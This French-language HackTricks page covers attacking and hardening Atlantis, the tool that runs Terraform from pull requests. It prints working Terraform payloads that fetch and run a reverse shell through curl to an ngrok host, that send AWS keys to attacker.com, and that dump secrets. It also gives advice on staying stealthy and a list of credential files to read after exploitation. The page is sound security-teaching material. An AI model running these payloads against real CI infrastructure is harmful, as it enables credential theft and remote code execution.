# Atlantis Security

{{#include ../banners/hacktricks-training.md}}

### Informations de base

Atlantis vous aide essentiellement à exécuter terraform à partir de Pull Requests de votre serveur git.

![](<../images/image (161).png>)

### Laboratoire local

1. Allez sur la **page des versions d'atlantis** à [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) et **téléchargez** celle qui vous convient.
2. Créez un **jeton personnel** (avec accès au dépôt) de votre utilisateur **github**.
3. Exécutez `./atlantis testdrive` et cela créera un **dépôt de démonstration** que vous pouvez utiliser pour **communiquer avec atlantis**.
1. Vous pouvez accéder à la page web à 127.0.0.1:4141.

### Accès à Atlantis

#### Identifiants du serveur Git

**Atlantis** prend en charge plusieurs hôtes git tels que **Github**, **Gitlab**, **Bitbucket** et **Azure DevOps**.\
Cependant, pour accéder aux dépôts sur ces plateformes et effectuer des actions, il doit avoir un **accès privilégié accordé** (au moins des autorisations d'écriture).\
[**La documentation**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) encourage à créer un utilisateur sur ces plateformes spécifiquement pour Atlantis, mais certaines personnes peuvent utiliser des comptes personnels.

> [!WARNING]
> Dans tous les cas, du point de vue d'un attaquant, le **compte Atlantis** sera très **intéressant** à **compromettre**.

#### Webhooks

Atlantis utilise éventuellement [**Webhook secrets**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) pour valider que les **webhooks** qu'il reçoit de votre hôte Git sont **légitimes**.

Une façon de confirmer cela serait de **permettre uniquement les requêtes provenant des IPs** de votre hôte Git, mais une manière plus simple est d'utiliser un Webhook Secret.

Notez que, à moins que vous n'utilisiez un serveur github ou bitbucket privé, vous devrez exposer les points de terminaison webhook à Internet.

> [!WARNING]
> Atlantis va **exposer des webhooks** afin que le serveur git puisse lui envoyer des informations. Du point de vue d'un attaquant, il serait intéressant de savoir **si vous pouvez lui envoyer des messages**.

#### Identifiants du fournisseur <a href="#provider-credentials" id="provider-credentials"></a>

[De la documentation :](https://www.runatlantis.io/docs/provider-credentials.html)

Atlantis exécute Terraform en **exécutant les commandes `terraform plan` et `apply`** sur le serveur **où Atlantis est hébergé**. Tout comme lorsque vous exécutez Terraform localement, Atlantis a besoin d'identifiants pour votre fournisseur spécifique.

C'est à vous de [fournir des identifiants](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) pour votre fournisseur spécifique à Atlantis :

- Le [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) d'Atlantis et le [Module AWS Fargate](https://www.runatlantis.io/docs/deployment.html#aws-fargate) ont leurs propres mécanismes pour les identifiants du fournisseur. Lisez leur documentation.
- Si vous exécutez Atlantis dans le cloud, de nombreux clouds ont des moyens de donner un accès API cloud aux applications qui y sont exécutées, par exemple :
- [Rôles AWS EC2](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Recherchez "EC2 Role")
- [Comptes de service d'instance GCE](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference)
- De nombreux utilisateurs définissent des variables d'environnement, par exemple `AWS_ACCESS_KEY`, là où Atlantis est exécuté.
- D'autres créent les fichiers de configuration nécessaires, par exemple `~/.aws/credentials`, là où Atlantis est exécuté.
- Utilisez le [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) pour obtenir des identifiants de fournisseur.

> [!WARNING]
> Le **conteneur** où **Atlantis** est **exécuté** contiendra très probablement des **identifiants privilégiés** pour les fournisseurs (AWS, GCP, Github...) qu'Atlantis gère via Terraform.

#### Page Web

Par défaut, Atlantis exécutera une **page web sur le port 4141 en localhost**. Cette page vous permet simplement d'activer/désactiver l'application atlantis et de vérifier l'état du plan des dépôts et de les déverrouiller (elle ne permet pas de modifier des choses, donc elle n'est pas très utile).

Vous ne la trouverez probablement pas exposée à Internet, mais il semble que par défaut **aucun identifiant n'est nécessaire** pour y accéder (et s'ils le sont, `atlantis`:`atlantis` sont les **identifiants par défaut**).

### Configuration du serveur

La configuration de `atlantis server` peut être spécifiée via des options de ligne de commande, des variables d'environnement, un fichier de configuration ou un mélange des trois.

- Vous pouvez trouver [**ici la liste des options**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) prises en charge par le serveur Atlantis.
- Vous pouvez trouver [**ici comment transformer une option de configuration en variable d'environnement**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables).

Les valeurs sont **choisies dans cet ordre** :

1. Options
2. Variables d'environnement
3. Fichier de configuration

> [!WARNING]
> Notez que dans la configuration, vous pourriez trouver des valeurs intéressantes telles que **jetons et mots de passe**.

#### Configuration des dépôts

Certaines configurations affectent **la manière dont les dépôts sont gérés**. Cependant, il est possible que **chaque dépôt nécessite des paramètres différents**, donc il existe des moyens de spécifier chaque dépôt. Voici l'ordre de priorité :

1. Fichier [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config). Ce fichier peut être utilisé pour spécifier comment atlantis doit traiter le dépôt. Cependant, par défaut, certaines clés ne peuvent pas être spécifiées ici sans certaines options permettant cela.
1. Probablement requis d'être autorisé par des options comme `allowed_overrides` ou `allow_custom_workflows`.
2. [**Configuration côté serveur**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) : Vous pouvez le passer avec l'option `--repo-config` et c'est un yaml configurant de nouveaux paramètres pour chaque dépôt (regex pris en charge).
3. Valeurs **par défaut**.

**Protections PR**

Atlantis permet d'indiquer si vous souhaitez que le **PR** soit **`approuvé`** par quelqu'un d'autre (même si cela n'est pas défini dans la protection de branche) et/ou soit **`fusionnable`** (protections de branche passées) **avant d'exécuter apply**. D'un point de vue sécurité, il est recommandé de définir les deux options.

Dans le cas où `allowed_overrides` est True, ces paramètres peuvent être **écrasés sur chaque projet par le fichier `/atlantis.yml`**.

**Scripts**

La configuration du dépôt peut **spécifier des scripts** à exécuter [**avant**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_hooks de pré-traitement_) et [**après**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_hooks de post-traitement_) qu'un **workflow est exécuté.**

Il n'y a aucune option pour **spécifier** ces scripts dans le **fichier `/atlantis.yml`** du dépôt.

**Workflow**

Dans la configuration du dépôt (configuration côté serveur), vous pouvez [**spécifier un nouveau workflow par défaut**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow), ou [**créer de nouveaux workflows personnalisés**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** Vous pouvez également **spécifier** quels **dépôts** peuvent **accéder** aux **nouveaux** générés.\
Ensuite, vous pouvez permettre au fichier **atlantis.yaml** de chaque dépôt de **spécifier le workflow à utiliser.**

> [!CAUTION]
> Si l'option [**configuration côté serveur**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allow_custom_workflows` est définie sur **True**, les workflows peuvent être **spécifiés** dans le fichier **`atlantis.yaml`** de chaque dépôt. Il est également potentiellement nécessaire que **`allowed_overrides`** spécifie également **`workflow`** pour **écraser le workflow** qui va être utilisé.\
> Cela donnera essentiellement **RCE dans le serveur Atlantis à tout utilisateur pouvant accéder à ce dépôt**.
>
> ```yaml
> # atlantis.yaml
>
> version: 3
> projects:
>
> - dir: .
>   workflow: custom1
>   workflows:
>   custom1:
>   plan:
>   steps: - init - run: my custom plan command
>   apply:
>   steps: - run: my custom apply command
> ```

**Vérification de la politique Conftest**

Atlantis prend en charge l'exécution de **politiques** [**conftest**](https://www.conftest.dev/) **côté serveur** contre la sortie du plan. Les cas d'utilisation courants pour cette étape incluent :

- Interdire l'utilisation d'une liste de modules.
- Affirmer les attributs d'une ressource au moment de sa création.
- Détecter les suppressions de ressources non intentionnelles.
- Prévenir les risques de sécurité (c'est-à-dire exposer des ports sécurisés au public).

Vous pouvez vérifier comment le configurer dans [**la documentation**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works).

### Commandes Atlantis

[**Dans la documentation**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) vous pouvez trouver les options que vous pouvez utiliser pour exécuter Atlantis :
```bash
# Get help
atlantis help

# Run terraform plan
atlantis plan [options] -- [terraform plan flags]
##Options:
## -d directory
## -p project
## --verbose
## You can also add extra terraform options

# Run terraform apply
atlantis apply [options] -- [terraform apply flags]
##Options:
## -d directory
## -p project
## -w workspace
## --auto-merge-disabled
## --verbose
## You can also add extra terraform options
```
### Attaques

> [!WARNING]
> Si pendant l'exploitation vous trouvez cette **erreur** : `Error: Error acquiring the state lock`

Vous pouvez le corriger en exécutant :
```
atlantis unlock #You might need to run this in a different PR
atlantis plan -- -lock=false
```
#### Atlantis plan RCE - Modification de configuration dans une nouvelle PR

Si vous avez un accès en écriture sur un dépôt, vous pourrez créer une nouvelle branche et générer une PR. Si vous pouvez **exécuter `atlantis plan`** (ou peut-être est-ce exécuté automatiquement) **vous pourrez RCE à l'intérieur du serveur Atlantis**.

Vous pouvez le faire en faisant [**charger une source de données externe par Atlantis**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Il suffit de mettre un payload comme le suivant dans le fichier `main.tf` :
```json
data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}
```
**Attaque plus discrète**

Vous pouvez effectuer cette attaque même de manière **plus discrète**, en suivant ces suggestions :

- Au lieu d'ajouter le rev shell directement dans le fichier terraform, vous pouvez **charger une ressource externe** qui contient le rev shell :
```javascript
module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}
```
Vous pouvez trouver le code rev shell dans [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)

- Dans la ressource externe, utilisez la fonctionnalité **ref** pour cacher le **code rev shell terraform dans une branche** à l'intérieur du dépôt, quelque chose comme : `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
- **Au lieu** de créer une **PR vers master** pour déclencher Atlantis, **créez 2 branches** (test1 et test2) et créez une **PR de l'une à l'autre**. Lorsque vous avez terminé l'attaque, il vous suffit de **supprimer la PR et les branches**.

#### Dump des secrets du plan Atlantis

Vous pouvez **dumper les secrets utilisés par terraform** en exécutant `atlantis plan` (`terraform plan`) en mettant quelque chose comme ceci dans le fichier terraform :
```json
output "dotoken" {
value = nonsensitive(var.do_token)
}
```
#### Atlantis appliquer RCE - Modification de configuration dans une nouvelle PR

Si vous avez un accès en écriture sur un dépôt, vous pourrez créer une nouvelle branche et générer une PR. Si vous pouvez **exécuter `atlantis apply`, vous pourrez RCE à l'intérieur du serveur Atlantis**.

Cependant, vous devrez généralement contourner certaines protections :

- **Mergeable** : Si cette protection est définie dans Atlantis, vous ne pouvez exécuter **`atlantis apply` que si la PR est mergeable** (ce qui signifie que la protection de branche doit être contournée).
- Vérifiez les [**contournements potentiels des protections de branche**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
- **Approuvé** : Si cette protection est définie dans Atlantis, un **autre utilisateur doit approuver la PR** avant que vous puissiez exécuter `atlantis apply`
- Par défaut, vous pouvez abuser du [**token Gitbot pour contourner cette protection**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)

Exécution de **`terraform apply` sur un fichier Terraform malveillant avec** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
Vous devez simplement vous assurer qu'une charge utile comme les suivantes se termine dans le fichier `main.tf` :
```json
// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}
```
Suivez les **suggestions de la technique précédente** pour effectuer cette attaque de manière **plus discrète**.

#### Injection de Paramètres Terraform

Lors de l'exécution de `atlantis plan` ou `atlantis apply`, terraform est exécuté en arrière-plan, vous pouvez passer des commandes à terraform depuis atlantis en commentant quelque chose comme :
```bash
atlantis plan -- <terraform commands>
atlantis plan -- -h #Get terraform plan help

atlantis apply -- <terraform commands>
atlantis apply -- -h #Get terraform apply help
```
Vous pouvez passer des variables d'environnement qui pourraient être utiles pour contourner certaines protections. Vérifiez les variables d'environnement terraform dans [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables)

#### Workflow personnalisé

Exécution de **commandes de construction personnalisées malveillantes** spécifiées dans un fichier `atlantis.yaml`. Atlantis utilise le fichier `atlantis.yaml` de la branche de la demande de tirage, **pas** de `master`.\
Cette possibilité a été mentionnée dans une section précédente :

> [!CAUTION]
> Si le drapeau [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allow_custom_workflows` est défini sur **True**, les workflows peuvent être **spécifiés** dans le fichier **`atlantis.yaml`** de chaque dépôt. Il est également potentiellement nécessaire que **`allowed_overrides`** spécifie également **`workflow`** pour **remplacer le workflow** qui va être utilisé.
>
> Cela donnera essentiellement **RCE sur le serveur Atlantis à tout utilisateur pouvant accéder à ce dépôt**.
>
> ```yaml
> # atlantis.yaml
> version: 3
> projects:
>   - dir: .
>     workflow: custom1
> workflows:
>   custom1:
>     plan:
>       steps:
>         - init
>         - run: my custom plan command
>     apply:
>       steps:
>         - run: my custom apply command
> ```

#### Contourner les protections plan/apply

Si le drapeau [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allowed_overrides` _a_ `apply_requirements` configuré, il est possible pour un dépôt de **modifier les protections plan/apply pour les contourner**.
```yaml
repos:
- id: /.*/
apply_requirements: []
```
#### PR Hijacking

Si quelqu'un envoie des **`atlantis plan/apply` commentaires sur vos pull requests valides,** cela fera en sorte que terraform s'exécute quand vous ne le souhaitez pas.

De plus, si vous n'avez pas configuré dans la **protection de branche** pour demander une **réévaluation** de chaque PR lorsqu'un **nouveau commit est poussé** dessus, quelqu'un pourrait **écrire des configurations malveillantes** (voir les scénarios précédents) dans la configuration terraform, exécuter `atlantis plan/apply` et obtenir RCE.

C'est le **paramètre** dans les protections de branche Github :

![](<../images/image (216).png>)

#### Webhook Secret

Si vous parvenez à **voler le webhook secret** utilisé ou s'il **n'y a pas de webhook secret** utilisé, vous pourriez **appeler le webhook Atlantis** et **invoquer des commandes atlatis** directement.

#### Bitbucket

Bitbucket Cloud ne **prend pas en charge les webhook secrets**. Cela pourrait permettre aux attaquants de **falsifier des requêtes depuis Bitbucket**. Assurez-vous de n'autoriser que les IPs de Bitbucket.

- Cela signifie qu'un **attaquant** pourrait faire des **requêtes falsifiées à Atlantis** qui semblent provenir de Bitbucket.
- Si vous spécifiez `--repo-allowlist`, alors ils ne pourraient falsifier que des requêtes concernant ces dépôts, donc le plus de dégâts qu'ils pourraient causer serait de planifier/appliquer sur vos propres dépôts.
- Pour éviter cela, autorisez les [adresses IP de Bitbucket](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) (voir les adresses IPv4 sortantes).

### Post-Exploitation

Si vous avez réussi à accéder au serveur ou au moins à obtenir un LFI, il y a des choses intéressantes que vous devriez essayer de lire :

- `/home/atlantis/.git-credentials` Contient les identifiants d'accès vcs
- `/atlantis-data/atlantis.db` Contient les identifiants d'accès vcs avec plus d'infos
- `/atlantis-data/repos/<org_name>`_`/`_`<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate` Fichier d'état terraform
- Exemple : /atlantis-data/repos/ghOrg\_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
- `/proc/1/environ` Variables d'environnement
- `/proc/[2-20]/cmdline` Ligne de commande de `atlantis server` (peut contenir des données sensibles)

### Mitigations

#### Don't Use On Public Repos <a href="#don-t-use-on-public-repos" id="don-t-use-on-public-repos"></a>

Parce que n'importe qui peut commenter sur des pull requests publiques, même avec toutes les mitigations de sécurité disponibles, il est toujours dangereux d'exécuter Atlantis sur des dépôts publics sans une configuration appropriée des paramètres de sécurité.

#### Don't Use `--allow-fork-prs` <a href="#don-t-use-allow-fork-prs" id="don-t-use-allow-fork-prs"></a>

Si vous exécutez sur un dépôt public (ce qui n'est pas recommandé, voir ci-dessus), vous ne devriez pas définir `--allow-fork-prs` (par défaut à false) car n'importe qui peut ouvrir une pull request depuis son fork vers votre dépôt.

#### `--repo-allowlist` <a href="#repo-allowlist" id="repo-allowlist"></a>

Atlantis nécessite que vous spécifiiez une liste blanche de dépôts à partir desquels il acceptera des webhooks via le drapeau `--repo-allowlist`. Par exemple :

- Dépôts spécifiques : `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests`
- Votre organisation entière : `--repo-allowlist=github.com/runatlantis/*`
- Chaque dépôt dans votre installation GitHub Enterprise : `--repo-allowlist=github.yourcompany.com/*`
- Tous les dépôts : `--repo-allowlist=*`. Utile lorsque vous êtes dans un réseau protégé mais dangereux sans également définir un webhook secret.

Ce drapeau garantit que votre installation Atlantis n'est pas utilisée avec des dépôts que vous ne contrôlez pas. Voir `atlantis server --help` pour plus de détails.

#### Protect Terraform Planning <a href="#protect-terraform-planning" id="protect-terraform-planning"></a>

Si des attaquants soumettent des pull requests avec du code Terraform malveillant dans votre modèle de menace, vous devez être conscient que les approbations `terraform apply` ne suffisent pas. Il est possible d'exécuter du code malveillant dans un `terraform plan` en utilisant la [`source de données externe`](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) ou en spécifiant un fournisseur malveillant. Ce code pourrait alors exfiltrer vos identifiants.

Pour éviter cela, vous pourriez :

1. Intégrer les fournisseurs dans l'image Atlantis ou héberger et refuser l'egress en production.
2. Mettre en œuvre le protocole de registre de fournisseurs en interne et refuser l'egress public, de cette façon vous contrôlez qui a un accès en écriture au registre.
3. Modifier votre [configuration de dépôt côté serveur](https://www.runatlantis.io/docs/server-side-repo-config.html)'s `plan` étape pour valider l'utilisation de fournisseurs ou de sources de données non autorisés ou de PRs provenant d'utilisateurs non autorisés. Vous pourriez également ajouter une validation supplémentaire à ce stade, par exemple exiger un "pouce en l'air" sur la PR avant de permettre à la `plan` de continuer. Conftest pourrait être utile ici.

#### Webhook Secrets <a href="#webhook-secrets" id="webhook-secrets"></a>

Atlantis doit être exécuté avec des secrets de webhook définis via les variables d'environnement `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET`. Même avec le drapeau `--repo-allowlist` défini, sans un webhook secret, les attaquants pourraient faire des requêtes à Atlantis en se faisant passer pour un dépôt qui est sur la liste blanche. Les secrets de webhook garantissent que les requêtes webhook proviennent réellement de votre fournisseur VCS (GitHub ou GitLab).

Si vous utilisez Azure DevOps, au lieu des secrets de webhook, ajoutez un nom d'utilisateur et un mot de passe de base.

#### Azure DevOps Basic Authentication <a href="#azure-devops-basic-authentication" id="azure-devops-basic-authentication"></a>

Azure DevOps prend en charge l'envoi d'un en-tête d'authentification de base dans tous les événements de webhook. Cela nécessite d'utiliser une URL HTTPS pour votre emplacement de webhook.

#### SSL/HTTPS <a href="#ssl-https" id="ssl-https"></a>

Si vous utilisez des secrets de webhook mais que votre trafic est sur HTTP, alors les secrets de webhook pourraient être volés. Activez SSL/HTTPS en utilisant les drapeaux `--ssl-cert-file` et `--ssl-key-file`.

#### Enable Authentication on Atlantis Web Server <a href="#enable-authentication-on-atlantis-web-server" id="enable-authentication-on-atlantis-web-server"></a>

Il est fortement recommandé d'activer l'authentification dans le service web. Activez BasicAuth en utilisant `--web-basic-auth=true` et configurez un nom d'utilisateur et un mot de passe en utilisant les drapeaux `--web-username=yourUsername` et `--web-password=yourPassword`.

Vous pouvez également passer ces valeurs en tant que variables d'environnement `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` et `ATLANTIS_WEB_PASSWORD=yourPassword`.

### References

- [**https://www.runatlantis.io/docs**](https://www.runatlantis.io/docs)
- [**https://www.runatlantis.io/docs/provider-credentials.html**](https://www.runatlantis.io/docs/provider-credentials.html)

{{#include ../banners/hacktricks-training.md}}
